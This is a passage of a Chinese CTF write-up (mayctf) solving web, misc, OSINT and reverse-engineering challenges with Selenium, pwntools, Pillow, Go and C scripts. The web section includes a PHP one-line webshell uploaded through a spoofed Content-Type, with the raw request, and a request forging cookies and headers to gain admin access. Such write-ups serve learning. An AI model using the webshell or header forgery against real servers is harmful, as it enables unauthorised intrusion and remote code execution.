        driver.find_element(By.NAME,"input").send_keys(t+'\n')   
if __name__ == "__main__":
    test()
    os.system("pause")

注意CSDN搜到的带find_element_By_ID之类的函数在现版本全部被代码里的find_element函数取代了, 这还是在StackOverflow查到的, 简中局域网害人不浅( 另外如果在函数里写driver.get, 函数结束之后浏览器会自动关闭, 你就白跑十几分钟了.

十分鸡贼 翻到"哼, 你要找的东西就在这里"那页, f12打开css翻到最下面, flag藏在那里. 我找了几天没找到, 最后是因为上课没带鼠标, 用触摸板乱划发现css长度不对才找到的.

十分鸡贼 声称通关得flag, 于是我写了个通关脚本, 结果发现通关并不得flag. (而且, 脚本跑太快会卡出bug). 但写了不能白写我还是把它放在下面. 把主函数里的注释取消就可以跑了,为了防止卡住需要手动最大化浏览器, 但这样太快了还是会卡住.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import os

from selenium import webdriver

from selenium.webdriver.common.by import By

import time

import requests

driver = webdriver.Chrome("chromedriver.exe")  # chromedriver所在路径
driver.get(r"http://124.220.41.254:20003")
driver.find_element(By.CLASS_NAME,"selectLevel btn").click()  
def test():

    time.sleep(2)

    num = 705

    for i in range (1,700):

        #观察源代码发现div下标最大的在最上面, 且一组三个相同的图案下标是连着的

        num = num - 1

        a = "//html/body/div["+str(num)+"]"

        print(a)

        tempa = driver.find_element(By.XPATH, a)

        tempa.click()

        time.sleep(0.01)

if __name__ == "__main__":

  

    #temp2 = driver.find_element(By.XPATH,"//html/body/div[3]/button[3]")

    #temp2.click()

    #time.sleep(1)

    #button = driver.find_element(By.XPATH,"//html/body/div[4]/div/button[2]")

    #button.click()

    #test()

    #os.system("pause")

  

    url="http://124.220.41.254:20003/fl4g.php"

    headers={

        "Referer": "http://124.220.41.254:20003/fl4g.php",

        "Origin":"http://124.220.41.254:20003/",

        "User-Agent": "hack",

#Wow!!! You are really a hacker<br>But Only <b>admin</b> can see<br>Do you want to try some <b>Cookie</b>?

        "X-Forwarded-For": "127.0.0.1",

        "Cookie": "user=admin", #document.cookie user=guest

#Wow!!! You are really a hacker<br>Wow!!! You get admin permission<br>But please <b>POST</b> not <b>GET</b>

    }

    #r=requests.get(url=url,headers=headers)

    r=requests.post(url=url,headers=headers)

#Wow!!! You are really a hacker<br>Wow!!! You get admin permission<br>Wow!!! You find it!<br>= mayctf{Wow!_You_have_Real1y_H4ndle_http}

    print(r.text)

(其实我都看到通关进入http://124.220.41.254:20003/fl4g.php了, 但是我web知识不足, 看到hack brower以为是通关得权限). 事实上看js可以直接发现通关进入fl4g.php, 进入后提示需要hack browser,于是进行各种搜索, 得知是需要伪造http请求头. 把User-Agent改成"hack", 下一步提示改Cookie伪装成admin, chrome控制台打document.cookie, 得到我们原本的cookie是"user=guest", 于是写"Cookie": “user=admin”, 发送后得到下一步提示用POST而不是GET, 所以把POST改成GET得flag. 具体代码如上.

要求上传一个文件, 于是搜索一下"PHP文件上传漏洞", 进行各种学习发现要传一个木马进去, 然后用工具连接服务器. 木马原理自行搜索(我不记得在哪看的了. 随便试试发现最经典的eval被禁了, assert在PHP7已经不能执行函数了, 发送一句话木马<?php $st=@create_function('',$_POST['a']);$st();?> 先随便发点什么上去, brupsuite抓包之后修改Content-Type: image/jpeg, 内容改为一句话木马, 文件后缀改成.php再发送(在repeater那里改), 否则会被拦住, 提示"哎呦~你干嘛". 蚁剑连接成功(具体使用方法自行搜索, 密码就是POST里的’a’) 找flag /home/wwwroot/fllllleee3eeeeegg9gg 包内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /1.php HTTP/1.1
Host: 49.234.84.189:2543
Content-Length: 339
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://49.234.84.189:2543
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5yBJNBeG49JfxFwN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.91 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://49.234.84.189:2543/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary5yBJNBeG49JfxFwN
Content-Disposition: form-data; name="uploaded"; filename="Mio_2.php"
Content-Type: image/jpeg

<?php $st=@create_function('',$_POST['a']);$st();?>

------WebKitFormBoundary5yBJNBeG49JfxFwN
Content-Disposition: form-data; name="Upload"

涓婁紶
------WebKitFormBoundary5yBJNBeG49JfxFwN--

flag在频道里

一眼佛曰, 解码之后是一眼brainfuck, 再解码就是flag

打开视频一听发现左边有细狗之外的声音, 用potplayer把右声道关掉仔细听左边. 是一堆单词, 如果知道这种无线电中用单词表示字母的方式那一下子就能听出来, 不知道的话可能要进行一些搜索. nato phonetic alphabet

第一个压缩包里是个png, 略加检查分离不出来什么. 010hex打开发现长度不对, 改长一些能看见下面隐藏的第二个压缩包密码. 第二个压缩包打开是个bmp, 也分离不出什么, hint图提示我们长度仍有问题, 根据bitcount计算长度应该是0x754(原来是0x744), 用010hex修改即可. 注意bmp长度必须精确修改, 否则打不开. 改完之后flag藏在右上角(我一开始就没看见).

社工题. 打开图仔细看图片后面蓝色的universal studio广告, 下面五个字母应该是Japan. 题目提示her major in law, 求暂住地. 可以想到是日本环球影城附近的大学. 尝试大阪大学即可达到经纬度的精度要求. (一开始没注意暂住地, 看路牌试了全世界的各种地方.) 以下为尝试记录和exp(然而是出题人提供的)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
ARBIENNES PET SHOp
DELANCEY ST
delancey street
universal studio
*10000000
12540556.221975128, 1038238109.5548172 新加坡环球影城
346656184.6687022, 1354323596.552712 日本环球影城
284754439.02992662, -814676650.5902094 佛罗里达环球影城
284755749.3909993, -814676905.7572405 奥兰多环球影城
399143823.3896167, 1166561121.5959157 北京环球影城
284770690.05056418, -814692908.4489123 奥兰多delancy
407203779.02024495, -739933302.7337902 纽约delancy
407182898.8839499, -741540718.5679229 新泽西delancy
40.67520418966318, -73.85378063093881 adriennes pet supplies
394040910.308666, -750652296.7072257 Adrienne's Pet Grooming
399911928.9061545, -767395190.252269 Adrienne's Pet Salon
197307033.8420808, -1556096470,8245103 夏威夷
215288153.87536728, -1580937372.2789883
399512757.43148926, -752009348.0976915 宾夕法尼亚delancey
377843995.8164323, -1223905783.3114387 
515365994.4374129, -0.14362412880917264伦敦
437056350.2084642, -793727888.0818914多伦多
340356643.1278974, -1181252704.2399023 加州delancey
379444682.4598956, -1222647864.1483423 旧金山
下面是各种delancey
425932142.6521346, -884374877.1818962 
367894910.6083526, -798906290.5539646
335574179.1307625, -801982462.3745224
420472529.6857023, -737822307.2600325 ...
361800080.611559, -1060647586.1810193
1207322980 313745730
436837736.1964954, -793509373.4649092海底捞
414375400.0847232, -738804846.5961116
481747427.9107416, -1221568834.363263华盛顿
380168867/63403, -1220546029/3085761 加州
422410893.4729945, -875458412.940499
413324962;.4567255, -729224984.1808564耶鲁
423771513/2833422, -711166190.4607179 哈佛
374246913.8626667, -1221660597,2396546斯坦福
399523832.6949155, -751931171.4271703宾大
360015646.544563, -789382393.311976 杜克
522055072.041921, 01131679.9820200556剑桥
517522925.4950003, -12579034.162635985牛津
378720346.8657658, -1222586257.329924加州大学
37.86962882992683, -122.2539832157979加州大学伯克利法学
424536074.9925858, -764734276.0030611康奈尔
296919505,8331313, -823280952.2266957弗罗里达大学
12968678/469047286, 1037763831.6825409 新加坡国立
13484493.35261561, 1036831668,835977南洋理工大学
348223328.8016893, 1355244182.8821057 大阪大学!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
mayctf{0h_y0u_ar3_th3_b3st_w1ngman}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from re import L

from pwn import *

import hashlib,string,random

  

io = remote("124.220.41.254","11112")

temp = io.recvline()

print(temp)

temp1 = temp.split(b"==")

print(temp1)

part_proof = bytes.decode(temp1[0].split(b"XXXX")[1])[1:-2]

sha = bytes.decode(temp1[1]).strip()

table = string.ascii_letters + string.digits

while True:

    XXXX = "".join([random.choice(table)for _ in range(4)])

    temp_proof = XXXX + part_proof

    temp_sha = hashlib.sha256(temp_proof.encode()).hexdigest()

    if sha == temp_sha:

        io.recvuntil(b"[+] Give Me XXXX :")

        print(XXXX)

        io.sendline(XXXX.encode())

        break

io.interactive()

就是服务器发什么抄一遍发回去重复999次就行, 字符串处理看下面代码. 前面的sha验证仍然抄出题人给的wingman的hint脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from re import L

from pwn import *

import hashlib,string,random

  

io = remote("124.220.41.254" ,"11114")

io.recvline()

io.recvline()

io.recvline()

io.recvline()

io.recvline()

io.recvline()

temp = io.recvline()

print(temp)

temp1 = temp.split(b"==")

print(temp1)

part_proof = bytes.decode(temp1[0].split(b"XXXX")[1])[1:-2]

sha = bytes.decode(temp1[1]).strip()

table = string.ascii_letters + string.digits

while True:

    XXXX = "".join([random.choice(table)for _ in range(4)])

    temp_proof = XXXX + part_proof

    temp_sha = hashlib.sha256(temp_proof.encode()).hexdigest()

    if sha == temp_sha:

        # io.recvuntil(b"[+] Give Me XXXX :")

        print(XXXX)

        io.sendline(XXXX.encode())

        break

io.recvuntil(b"chance.\n")

for i in range (999):

    temp2 = str(io.recvline())

    print(temp2)

    load = temp2.split(": ")[1]

    load = load[0:-3]

    print(load)


    io.sendline(load.encode())

    io.recvuntil(b"999.\n")

print(io.recvline())

  

io.interactive()

hint: CFG stands for what? cfg代表了什么? 我一开始以为是.cfg后缀的文件, 全称是config. 然后又看代码的main函数巨大, 以为是要把ida的.cfg文件改了, 增大可反编译函数的大小限制. 经过各种改大之后电脑五次爆内存, 搞不出. 后来发现cfg的另一种解释, Control Flow Graph. 控制流程图, 就是ida生成的那个流程图. 然而发现函数太大了, nodes限制只有1000个, 所以把限制调大, 这个只需要在IDA里面改. 在IDA里点option-general-Max number of nodes: 100000 https://i.postimg.cc/65VW0G8Y/NBBH-P21-R-6-VE-V3-D1-OEND.png 然后看流程图, 发现蓝中带白看不清.于是在设置里把背景色调成黑色,可以看到 https://i.postimg.cc/VLzQzZNW/ID-2-T2-U-S-FO6-QNSZTFXF-H.png MAYCTF{$(AUTHOR)_S3creT_C0nTroL_Flow_GraPh} 最后一步是把$(AUTHOR)换成出题人的网名secsome

阅读Description发现要进行一个手动图形渲染, 一帧帧绘制. 看secret.shp文件脑跑一下读文件头过程可以猜出数据是小端序的, 不然宽和高太大了, 后面的Frame Header也对不上.(这点也可以用offset的值来验证, 大端序offset也对不上) 先读一个文件头, 得到高和宽. 然后按顺序读每帧的文件头, 这里主要是height, width和flag, offset没什么大用, 因为所有数据都是按顺序而且连着的, 不过可以用来检查自己数据读入是否错误, color没给调色板, 直接全用一个颜色, align和reserved完全没用. flag直接抄一下题里给的那个代码就行, 是用来区分压缩的数据和非压缩的数据的. 压缩的数据就是每帧有height of frame行, 每行开头两个字节给出了这行的字节数(包括这两个字节). 然后这行的每个0x00字节代表接下来的像素透明, 其后紧跟着的那个字节代表透明的连续像素个数. 其余的字节代表那个像素点的颜色, 本来这个数字是调色板的一个索引, 但是没给调色板就全用一个颜色了. 如题里给的一行例子:

1
07 00 00 09 53 00 9C

注意是小端序所以前两个字节是00 07, 这行有七个字节. 然后的00 09代表有9个透明像素. 53是有一个颜色为0x53的像素, 00 9c是有9c个透明像素. 具体实现上, 我采用了有多少个透明像素就让"画笔"横坐标加多少的方式 直接不画了. 非压缩的数据就是直接FrameHeader.Height * FrameHeader.Width的一个表, 每个字节是该像素点的颜色. 详情见代码. 于是我搓一个脚本, 我当场进行一个pillow的学习, 用到里面的ImageDraw画像素点. 需要一点代码能力, (比如我一个xx未重置的bug调半天.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from PIL import Image, ImageDraw

f = open("shape_secret.shp", 'rb+')

def readbytes(n): # 按字节读入

     x = int.from_bytes(f.read(n),'little', signed=False)

     return x

  

x = []

y = []

fwidth = []

fheight = []

flags = []

color = []

reserved = []

offset = []

readbytes(2)

width = readbytes(2)

height = readbytes(2)

print("width", width, "height", height)

# im = Image.new('RGB', (width,height), 0)

#draw = ImageDraw.Draw(im)

  

def drawpoint(color, x, y):

    print(x, y)

    draw.point([x,y],'#66ccff')

    #im.putpixel([x, y], (255, 0, 0))

numberofframes = readbytes(2)

for i in range (0,numberofframes):

    x.append(readbytes(2))

    y.append(readbytes(2))

    fwidth.append(readbytes(2))

    fheight.append(readbytes(2))

    flags.append(readbytes(1))

    readbytes(3) #align

    color.append( readbytes(4))

    reserved.append(readbytes(4))

    offset.append(readbytes(4))

for i in range (0, numberofframes):

    im = Image.new('RGB', (width,height), 0)

    draw = ImageDraw.Draw(im)

    yy = y[i]

    xx = x[i]

    if(flags[i] & 0x2): #compression

        for j in range (0, fheight[i]):

            xx = x[i]

            length = readbytes(2) - 2

            while length > 0:

                if (length):

                    temp = readbytes(1)

                    length -= 1

                    if temp == 0x00:

                        if(length):

                            num = readbytes(1)

                            #for int k

                            length -= 1

                            xx += num  

                    else:

                        drawpoint(temp, xx, yy + j)

                        xx += 1

    else:

        # print("!!!!!!!!!!!")

        for j in range (0, fheight[i]):

            for k in range (0, fwidth[i]):

                temp = readbytes(1)

                if (temp != 0x00):

                    drawpoint(temp, xx + k, yy + j)

    im.save("./pic/pic"+str(i)+".jpg")

# im.show()

把脚本和shape_secret.shp放在同一目录下运行, 会在该目录下生成pic文件夹, 里面按顺序存放了40帧图片, 画着flag的一个个字符(出题人说用鼠标画的). 注意那个看起来像θ的东西是0. (仔细阅读Description会发现有个Westwood, 也就是红警的西木公司. 当时注意到了但是没搜到什么东西, 赛后得知有新大陆).

直接用ILSPY打开就能看见flag, 好像甚至用记事本都行. https://i.postimg.cc/QCwXyppy/A20-Z-V-U9-F8-Z3-PSKGQ3-XU.png

查壳发现有upx壳, 先脱个壳 用IDA打开, main函数大概是这个样子.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  int v5; // eax
  __int64 v6; // rax
  int v8; // [rsp+8h] [rbp-D8h]
  int v9; // [rsp+Ch] [rbp-D4h]
  __int64 v10; // [rsp+10h] [rbp-D0h] BYREF
  __int64 v11[2]; // [rsp+18h] [rbp-C8h] BYREF
  char *v12; // [rsp+28h] [rbp-B8h]
  char v13[32]; // [rsp+30h] [rbp-B0h] BYREF
  char v14[19]; // [rsp+50h] [rbp-90h] BYREF
  char v15[19]; // [rsp+66h] [rbp-7Ah] BYREF
  char v16[19]; // [rsp+7Ch] [rbp-64h] BYREF
  char v17[19]; // [rsp+92h] [rbp-4Eh] BYREF
  char v18[19]; // [rsp+A8h] [rbp-38h] BYREF
  unsigned __int64 v19; // [rsp+C8h] [rbp-18h]

  v19 = __readfsqword(0x28u);
  v3 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
  std::ostream::operator<<(v3, std::endl<char,std::char_traits<char>>);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v13);
  std::operator>><char>((std::istream *)&std::cin);
  if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(v13, v13) == 32 )
  {
    strcpy(v14, "*#########");
    strcpy(&v14[11], "**########");
    strcpy(v15, "#*########");
    strcpy(&v15[11], "***#######");
    strcpy(v16, "*#***##***");
    strcpy(&v16[11], "**##****#*");
    strcpy(v17, "#**######*");
    strcpy(&v17[11], "#*#*******");
    strcpy(v18, "**#*######");
    strcpy(&v18[11], "###*******");
    v8 = 0;
    v9 = 0;
    v11[1] = (__int64)v13;
    v10 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::begin(v13);
    v11[0] = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::end(v13);
    while ( (unsigned __int8)__gnu_cxx::operator!=<char *,std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>(
                               &v10,
                               v11) )
    {
      v12 = (char *)__gnu_cxx::__normal_iterator<char *,std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator*(&v10);
      v5 = *v12;
      if ( v5 == 87 )
      {
        --v9;
      }
      else
      {
        if ( v5 > 87 )
          break;
        if ( v5 == 83 )
        {
          ++v9;
        }
        else
        {
          if ( v5 > 83 )
            break;
          if ( v5 == 65 )
          {
            --v8;
          }
          else
          {
            if ( v5 != 68 )
              break;
            ++v8;
          }
        }
      }
      if ( v8 < 0 || v8 > 9 || v9 < 0 || v9 > 9 )
        break;
      __gnu_cxx::__normal_iterator<char *,std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator++(&v10);
    }
    v6 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
    std::ostream::operator<<(v6, std::endl<char,std::char_traits<char>>);
  }
  else
  {
    v4 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
    std::ostream::operator<<(v4, std::endl<char,std::char_traits<char>>);
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v13);
  return 0;
}

查一下ascii表发现"87, 83, 65, 68"就是WSAD, 所以可以大概知道这个程序要我们输入WASD走迷宫, 猜一下是左上角走到右下角, 手过一下迷宫, 打开程序输入就可以得到flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

*#########   SDSSDSDDSDDDWDDSSSAAAAAASSDDDDDD

**########

#*########

***#######

*#***##***

**##****#*

#**######*

#*#*******

**#*######

###*******

手过迷宫或者写个dfs(还没手过快)

给了个程序, 里面是各种语言拼成的Aes加密, 但是仔细观察之后发现只需要删删东西, 剩下go语言的解码部分再加一句输出就可以跑了.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package main

import (

//  "bytes"
    "crypto/aes"

    "crypto/cipher"

    "encoding/base64"

    "fmt"

)

  

func GetCode() string {

    chcode := make(chan byte, 100)

    go SinkCode(chcode)

    var code string

    for i := range chcode {

        code += string(i)

    }

    return code

}

func SinkCode(chcode chan byte) { //八进制 code

    code := [...]byte{0o111, 0o57, 0o157, 0o172, 0o163, 0o104,

        0o170, 0o66, 0o150, 0o111, 0o141, 0o115,

        0o146, 0o130, 0o132, 0o127, 0o160, 0o157,

        0o125, 0o120, 0o66, 0o115, 0o156, 0o126,

        0o165, 0o130, 0o162, 0o62, 0o116, 0o62,

        0o70, 0o142, 0o116, 0o62, 0o142, 0o125,

        0o127, 0o141, 0o141, 0o61, 0o150, 0o57,

        0o147, 0o155, 0o105, 0o107, 0o150, 0o113,

        0o172, 0o112, 0o104, 0o166, 0o131, 0o70,

        0o146, 0o132, 0o171, 0o155, 0o150, 0o102,

        0o172, 0o66, 0o107, 0o121}

    for i := range code {

        chcode <- code[i]

    }

    close(chcode)

}

func GetKey() []byte {

    chkey := make(chan byte, 32)

    go Sinkkey(chkey)

    var key []byte

    for i := range chkey {

        key = append(key, i)

    }

    return key

}

func Sinkkey(chkey chan byte) {

    key := [...]byte{0b110001, 0b110100, 0b110001, 0b110101,

        0b111001, 0b110010, 0b110110, 0b110101,

        0b110011, 0b110101, 0b111000, 0b111001,

        0b110111, 0b111001, 0b110011, 0b110010,

        0b110011, 0b111000, 0b110100, 0b110110,

        0b110010, 0b110110, 0b110100, 0b110011,

        0b110011, 0b111000, 0b110011, 0b110010,

        0b110111, 0b111001, 0b110101, 0b110000}

    for i := range key {

        chkey <- key[i]

    }

    close(chkey)

}

func AesDecrypt(cryted string, key []byte) string {

    crytedByte, _ := base64.StdEncoding.DecodeString(cryted)

  

    block, _ := aes.NewCipher(key)

    blockSize := block.BlockSize()

    blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])

    orig := make([]byte, len(crytedByte))

    blockMode.CryptBlocks(orig, crytedByte)

    //orig = PKCS7UnPadding(orig)

    return string(orig)

}

func main(){

    fmt.Println(AesDecrypt(GetCode(),GetKey()))

}

这题一看就是要动态调试, 但是我不怎么会用gdb所以…. IDA看一眼主函数里执行了个message

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 message(void)
{
  __int64 *i; // [rsp+0h] [rbp-60h]
  __int64 v2[5]; // [rsp+20h] [rbp-40h] BYREF
  __int16 v3; // [rsp+48h] [rbp-18h]
  _BYTE v4[6]; // [rsp+4Ah] [rbp-16h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v2[0] = 0x20091406110B131FLL;
  v2[1] = 0x3B2D170100170417LL;
  v2[2] = 0x1B1F131C0B362D06LL;
  v2[3] = 0x213B2D0B1E1E1311LL;
  v2[4] = 0x53171E021F43212DLL;
  v3 = 29199;
  for ( i = v2; i != (__int64 *)v4; i = (__int64 *)((char *)i + 1) )
    *(_BYTE *)i ^= 0x72u;
  return v5 - __readfsqword(0x28u);
}

发现只有异或, 我们直接根据异或可逆性把它倒回去.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<cstdio>

typedef unsigned char *byte_pointer;

long long v2[5] = {0x20091406110B131FLL, 0x3B2D170100170417LL,0x1B1F131C0B362D06LL,0x213B2D0B1E1E1311LL,0x53171E021F43212DLL};

unsigned char v[] = {0x20,0x09,0x14,0x06,0x11,0x0B,0x13,0x1F,0x3B,0x2D,0x17,0x01,0x00,0x17,0x04,0x17,0x1B,0x1F,0x13,0x1C,0x0B,0x36,0x2D,0x06,0x21,0x3B,0x2D,0x0B,0x1E,0x1E,0x13,0x11,0x53,0x17,0x1E,0x02,0x1F,0x43,0x21,0x2D};
 
int main()

{

    for (int i = 0; i < 40;i ++)

    {

        v[i] ^= 0x72u;

        printf("%c", v[i]);

    }

    printf("\n");

    for (int i = 40; i >= 0;i --)

    {

        ///v[i] ^= 0x72u;

        printf("%c", v[i]);

    }

}

//mayctf{Reverse_It_Dynamically_IS_S1mple!}
//手工重新排序

输出了个R{ftcyamI_esreveimanyD_tSI_yllac!elpm1S_, 一看感觉至少mayctf反了, 所以倒过来输出_S1mple!cally_ISt_Dynamieverse_Imayctf{R, 乱但不是很乱, 可以看出大概有什么单词, 手动重新排列一下, 多提交几次试试. 得到flag:mayctf{Reverse_It_Dynamically_IS_S1mple!}

题目提示在安卓程序里执行c++代码, 所以在网上搜了一下在Android里调用c++代码的相关知识, 知道这是用.so动态链接库实现的. 用jeb打开apk可以看到: https://i.postimg.cc/8cfjSq81/M-6-8-IB-C9-UPH-E6-K-N.png 把那个so文件导出用IDA打开, 很容易看出来是TEA加密, 抄个解密代码即可.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#define _DWORD int

#define _BYTE char

#include<cstdio>

long long encrypt(void *a1, const void *a2)

{

  long long result; // rax

  unsigned int i; // [rsp+14h] [rbp-30h]

  int v4; // [rsp+18h] [rbp-2Ch]

  unsigned int v5; // [rsp+1Ch] [rbp-28h]

  unsigned int v6; // [rsp+20h] [rbp-24h]

  

  v6 = *(_DWORD *)a1;

  v5 = *((_DWORD *)a1 + 1);

  v4 = 0;

  for ( i = 0; i < 0x20; ++i )

  {

    v4 -= 1640531527;

    v6 += (*((_DWORD *)a2 + 1) + (v5 >> 5)) ^ (v4 + v5) ^ (*(_DWORD *)a2 + 16 * v5);

    v5 += (*((_DWORD *)a2 + 3) + (v6 >> 5)) ^ (v4 + v6) ^ (*((_DWORD *)a2 + 2) + 16 * v6);

  }

  *(_DWORD *)a1 = v6;

  result = v5;

  *((_DWORD *)a1 + 1) = v5;

  return result;

}

long long decrypt(void *a1, const void *a2)

{

  long long result; // rax

  unsigned int i; // [rsp+14h] [rbp-30h]

   int v4; // [rsp+18h] [rbp-2Ch]

  unsigned int v5; // [rsp+1Ch] [rbp-28h]

  unsigned int v6; // [rsp+20h] [rbp-24h]

  

  v6 = *(_DWORD *)a1;

  v5 = *((_DWORD *)a1 + 1);

  v4 = (-1640531527)*0x20;

  for ( i = 0; i < 0x20; ++i )

  {

    v5 -= (*((_DWORD *)a2 + 3) + (v6 >> 5)) ^ (v4 + v6) ^ (*((_DWORD *)a2 + 2) + 16 * v6);

    v6 -= (*((_DWORD *)a2 + 1) + (v5 >> 5)) ^ (v4 + v5) ^ (*(_DWORD *)a2 + 16 * v5);

    v4 += 1640531527;

  

  }

  *(_DWORD *)a1 = v6;

  result = v5;

  *((_DWORD *)a1 + 1) = v5;

  return result;

}

void decrypt_(unsigned int* v, const unsigned int* k)

{

    unsigned int v0 = v[0], v1 = v[1], sum = 0xc6ef3720, i;

    unsigned int delta = 0x9e3779b9;

    unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

    for (i = 0; i < 32; i++)

  {

    v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

    v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);

    sum -= delta;                                  

    }

    v[0] = v0; v[1] = v1;

}

int main()

{

    unsigned char input[40] = {0xF0,0x2E,0xD2,0x73,0x04,0xB6,0x1A,0xD3,0x59,0xB2,0xE3,0x27,0xA0,0xDA,0x90,0xD6,0xD2,0x8C,0x1C,0x24,0x00,0xCB,0x7E,0x80,0x70,0xF7,0x35,0xC2,0x9D,0x30,0x3A,0x3F,0x53,0xB6,0xF7,0xBC,0x29,0x53,0x5D,0xEC};

    long long v10[2];

    v10[0] = 0x636F6A76676C4040LL;

    v10[1] = 0x2E6B7B3D7F6B4757LL;

    printf("%s\n", v10);

    for (int i = 0; i < 16; ++i )

    *((_BYTE *)v10 + i) ^= i;

    for (int j = 0; j < 40; j += 8 )

        decrypt_((unsigned int*) (&input[j]),(const unsigned int*) v10);

    printf("%s\n", input);

    for (int i = 0;i < 40;i ++)

        printf("%x", input[i]);

  

}

// jeb Libraries-x86_64-libnative_android.so->ida

//https://blog.csdn.net/hbdatouerzi/article/details/54927364

